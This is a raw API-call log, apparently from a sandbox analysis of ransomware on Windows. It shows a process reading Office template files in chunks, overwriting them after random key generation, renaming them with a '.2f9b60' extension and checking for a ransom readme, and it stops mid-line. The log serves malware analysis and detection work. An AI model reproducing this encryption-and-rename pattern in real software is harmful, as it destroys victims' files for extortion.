RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0129.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0129.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f1f0f0 [0129.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0129.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7590 [0129.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7590) returned 1 [0129.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.069] WriteFile (hFile=0x10e0, lpBuffer=0x41f1f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22def600, lpOverlapped=0x0) [0176.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1f0f0) returned 1 [0176.619] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.620] ReadFile (in: hFile=0x10e0, lpBuffer=0x1cee5a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22def600, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesRead=0x22def600*=0x3c00, lpOverlapped=0x0) returned 1 [0176.644] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b80 [0176.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b80) returned 1 [0176.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b5d20 [0176.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b80 [0176.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b50 [0176.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b50) returned 1 [0176.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.647] WriteFile (in: hFile=0x10e0, lpBuffer=0x423b5d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22def600, lpOverlapped=0x0 | out: lpBuffer=0x423b5d20*, lpNumberOfBytesWritten=0x22def600*=0x3c00, lpOverlapped=0x0) returned 1 [0194.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b5d20) returned 1 [0194.237] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x7d348, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.237] ReadFile (in: hFile=0x10e0, lpBuffer=0x1cee5a30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22def600, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesRead=0x22def600*=0x3c00, lpOverlapped=0x0) returned 1 [0194.251] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x7d348, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1e0 [0194.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a1e0) returned 1 [0194.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b9930 [0194.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1e0 [0194.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a210 [0194.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a210) returned 1 [0194.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.255] WriteFile (in: hFile=0x10e0, lpBuffer=0x423b9930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22def600, lpOverlapped=0x0 | out: lpBuffer=0x423b9930*, lpNumberOfBytesWritten=0x22def600*=0x3c00, lpOverlapped=0x0) returned 1 [0204.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b9930) returned 1 [0204.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ee90 [0204.743] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.744] WriteFile (in: hFile=0x10e0, lpBuffer=0x431f5380*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x22def6b0, lpOverlapped=0x0 | out: lpBuffer=0x431f5380*, lpNumberOfBytesWritten=0x22def6b0*=0x14a, lpOverlapped=0x0) returned 1 [0215.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0215.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d333e0 [0215.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d333e0) returned 1 [0215.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0215.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d333e0 [0215.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d333b0 [0215.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d333b0) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0215.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e2f0 [0215.809] sprintf (in: _Dest=0x1ce5e2f0, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2f2, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2f4, _Format="%c%c" | out: _Dest="6d") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2f6, _Format="%c%c" | out: _Dest="25") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2f8, _Format="%c%c" | out: _Dest="15") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2fa, _Format="%c%c" | out: _Dest="a6") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2fc, _Format="%c%c" | out: _Dest="7b") returned 2 [0215.809] sprintf (in: _Dest=0x1ce5e2fe, _Format="%c%c" | out: _Dest="72") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e300, _Format="%c%c" | out: _Dest="56") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e302, _Format="%c%c" | out: _Dest="ab") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e304, _Format="%c%c" | out: _Dest="64") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e306, _Format="%c%c" | out: _Dest="27") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e308, _Format="%c%c" | out: _Dest="11") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e30a, _Format="%c%c" | out: _Dest="03") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e30c, _Format="%c%c" | out: _Dest="f2") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e30e, _Format="%c%c" | out: _Dest="18") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e310, _Format="%c%c" | out: _Dest="cf") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e312, _Format="%c%c" | out: _Dest="af") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e314, _Format="%c%c" | out: _Dest="48") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e316, _Format="%c%c" | out: _Dest="66") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e318, _Format="%c%c" | out: _Dest="20") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e31a, _Format="%c%c" | out: _Dest="eb") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e31c, _Format="%c%c" | out: _Dest="e0") returned 2 [0215.810] sprintf (in: _Dest=0x1ce5e31e, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.810] RtlInitAnsiString (in: DestinationString=0x22def728, SourceString="5a8f6d2515a67b7256ab64271103f218cfaf486620ebe0b6" | out: DestinationString="5a8f6d2515a67b7256ab64271103f218cfaf486620ebe0b6") [0215.810] RtlAnsiStringToUnicodeString (in: DestinationString=0x22def6f8, SourceString="5a8f6d2515a67b7256ab64271103f218cfaf486620ebe0b6", AllocateDestinationString=1 | out: DestinationString="5a8f6d2515a67b7256ab64271103f218cfaf486620ebe0b6") returned 0x0 [0215.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15370 [0215.811] wcscat (in: _Dest=0x4318a900, _Source="5a8f6d2515a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6" [0215.811] wcscat (in: _Dest=0x4318a900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6.2f9b60" [0215.811] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6.2f9b60", NtPathName=0x22def6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5a8f6d2515a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312a8a0 [0237.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312a8a0) returned 1 [0237.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b1740) returned 1 [0237.923] NtQueryInformationFile (in: FileHandle=0x10e0, IoStatusBlock=0x22def738, FileInformation=0x22def748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22def738, FileInformation=0x22def748) returned 0x0 [0237.923] NtSetInformationFile (FileHandle=0x10e0, IoStatusBlock=0x22def738, FileInformation=0x22def748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a900) returned 1 [0240.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce15370) returned 1 [0240.209] FlushFileBuffers (hFile=0x10e0) returned 1 [0240.224] CloseHandle (hObject=0x10e0) returned 1 [0242.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20505910 [0242.529] wcscpy (in: _Dest=0x20505910, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.529] wcscat (in: _Dest=0x20505910, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505910) returned 1 [0243.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d230) returned 1 Thread: id = 1621 os_tid = 0x1ae4 [0125.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt")) returned 0x20 [0125.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt", dwFileAttributes=0x20) returned 1 [0129.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10cc [0129.022] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2295fa80 | out: lpFileSize=0x2295fa80*=477451) returned 1 [0129.023] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x74907, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.023] ReadFile (in: hFile=0x10cc, lpBuffer=0x2295fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2295fa48, lpOverlapped=0x0 | out: lpBuffer=0x2295fa00*, lpNumberOfBytesRead=0x2295fa48*=0x4, lpOverlapped=0x0) returned 1 [0129.076] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7590 [0129.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0129.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0129.076] NtQuerySystemTime (in: CurrentTime=0x2295f940 | out: CurrentTime=0x2295f940*=132462177343390000) returned 0x0 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x4ebb414c [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x7f91a310 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x32e7be7e [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x21bbc170 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x64aa5142 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x23f66142 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x6718a9ed [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x5710d259 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x39098515 [0129.076] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x74ef5382 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x90a7a15 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x461c56ce [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x49575010 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x7969e6c2 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x21c3f289 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x3702cb7a [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x31a0d611 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x6026c0ed [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x6bb49ae0 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x440e1120 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x6ea66ed8 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x4601a68a [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x4b4c6247 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x5fe247ba [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x6ab0cc42 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x77dcd199 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x52a53f1f [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x1cd418af [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x31af4263 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0xb6eaee0 [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x10cf198a [0129.077] RtlRandomEx (in: Seed=0x2295f930 | out: Seed=0x2295f930) returned 0x30618f8a [0129.088] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.088] ReadFile (in: hFile=0x10cc, lpBuffer=0x41f22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2295f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesRead=0x2295f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.090] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7590 [0129.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7590) returned 1 [0129.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2a520 [0129.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7590 [0129.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0129.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0129.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.092] WriteFile (hFile=0x10cc, lpBuffer=0x41f2a520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2295f9a0, lpOverlapped=0x0) [0180.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0180.195] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.195] ReadFile (in: hFile=0x10cc, lpBuffer=0x41f22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2295f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesRead=0x2295f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.173] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x3c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3c0 [0182.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f3c0) returned 1 [0182.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20244990 [0182.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3c0 [0182.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f3f0 [0182.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f3f0) returned 1 [0182.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.176] WriteFile (in: hFile=0x10cc, lpBuffer=0x20244990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2295f9a0, lpOverlapped=0x0 | out: lpBuffer=0x20244990*, lpNumberOfBytesWritten=0x2295f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20244990) returned 1 [0198.774] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x70d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.774] ReadFile (in: hFile=0x10cc, lpBuffer=0x41f22d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2295f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesRead=0x2295f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.130] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x70d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c370 [0199.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c370) returned 1 [0199.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ea600 [0199.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c370 [0199.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3a0 [0199.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c3a0) returned 1 [0199.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.133] WriteFile (in: hFile=0x10cc, lpBuffer=0x423ea600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2295f9a0, lpOverlapped=0x0 | out: lpBuffer=0x423ea600*, lpNumberOfBytesWritten=0x2295f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ea600) returned 1 [0214.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104aa0 [0214.821] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.821] WriteFile (in: hFile=0x10cc, lpBuffer=0x431f5d20*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2295fa50, lpOverlapped=0x0 | out: lpBuffer=0x431f5d20*, lpNumberOfBytesWritten=0x2295fa50*=0x14c, lpOverlapped=0x0) returned 1 [0218.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0218.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0218.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0218.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced6a20 [0218.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0218.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7080 [0218.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7080) returned 1 [0218.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0218.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431ad6a0 [0218.818] sprintf (in: _Dest=0x431ad6a0, _Format="%c%c" | out: _Dest="81") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6a2, _Format="%c%c" | out: _Dest="d1") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6a4, _Format="%c%c" | out: _Dest="1c") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6a6, _Format="%c%c" | out: _Dest="43") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6a8, _Format="%c%c" | out: _Dest="a3") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6aa, _Format="%c%c" | out: _Dest="68") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6ac, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.818] sprintf (in: _Dest=0x431ad6ae, _Format="%c%c" | out: _Dest="8f") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6b0, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6b2, _Format="%c%c" | out: _Dest="43") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6b4, _Format="%c%c" | out: _Dest="4d") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6b6, _Format="%c%c" | out: _Dest="92") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6b8, _Format="%c%c" | out: _Dest="1a") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6ba, _Format="%c%c" | out: _Dest="10") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6bc, _Format="%c%c" | out: _Dest="71") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6be, _Format="%c%c" | out: _Dest="9f") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6c0, _Format="%c%c" | out: _Dest="d1") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6c2, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6c4, _Format="%c%c" | out: _Dest="95") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6c6, _Format="%c%c" | out: _Dest="85") returned 2 [0218.819] sprintf (in: 